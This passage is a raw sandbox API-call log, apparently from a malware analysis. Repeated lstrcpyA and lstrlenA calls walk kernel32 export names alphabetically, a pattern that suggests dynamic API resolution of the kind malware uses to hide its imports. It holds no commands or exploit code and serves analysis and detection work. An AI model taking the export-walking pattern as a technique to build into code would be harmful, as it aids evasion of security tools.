lpString1="AddRefActCtx") returned="AddRefActCtx" [0130.873] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0130.873] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0130.873] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0130.873] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0130.874] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0130.874] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0130.874] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0130.874] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0130.874] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0130.874] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0130.874] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0130.874] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0130.874] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0130.874] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0130.874] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0130.874] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0130.874] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0130.874] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0130.874] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0130.874] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0130.874] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0130.874] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0130.874] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0130.875] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0130.875] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0130.875] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0130.875] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0130.875] lstrlenA (lpString="BACKUPREAD") returned 10 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0130.875] lstrlenA (lpString="BACKUPSEEK") returned 10 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0130.875] lstrlenA (lpString="BACKUPWRITE") returned 11 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0130.875] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0130.875] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0130.875] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0130.875] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0130.875] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0130.875] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0130.875] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0130.875] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0130.875] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0130.875] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0130.875] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0130.875] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0130.876] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0130.876] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0130.876] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0130.876] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0130.876] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0130.876] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0130.876] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0130.876] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0130.876] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0130.876] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0130.876] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0130.876] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0130.876] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0130.876] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0130.876] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0130.876] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0130.876] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0130.876] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0130.876] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0130.876] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0130.876] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0130.876] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0130.877] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0130.877] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0130.877] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0130.877] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0130.877] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0130.877] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0130.877] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0130.877] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0130.877] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0130.877] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0130.877] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0130.877] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0130.877] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0130.877] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0130.877] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0130.877] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0130.877] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0130.877] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0130.877] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0130.877] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0130.877] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0130.877] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0130.878] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0130.878] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0130.878] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0130.878] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0130.878] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0130.878] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0130.878] lstrlenA (lpString="BEEP") returned 4 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0130.878] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0130.878] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0130.878] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0130.878] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0130.878] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0130.878] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0130.878] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0130.878] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0130.878] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0130.878] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0130.879] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0130.879] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0130.879] lstrlenA (lpString="CANCELIO") returned 8 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0130.879] lstrlenA (lpString="CANCELIOEX") returned 10 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0130.879] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0130.879] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0130.879] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0130.879] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0130.879] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0130.879] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0130.879] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0130.879] lstrlenA (lpString="CHECKELEVATION") returned 14 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0130.879] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0130.879] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0130.879] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0130.879] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0130.879] 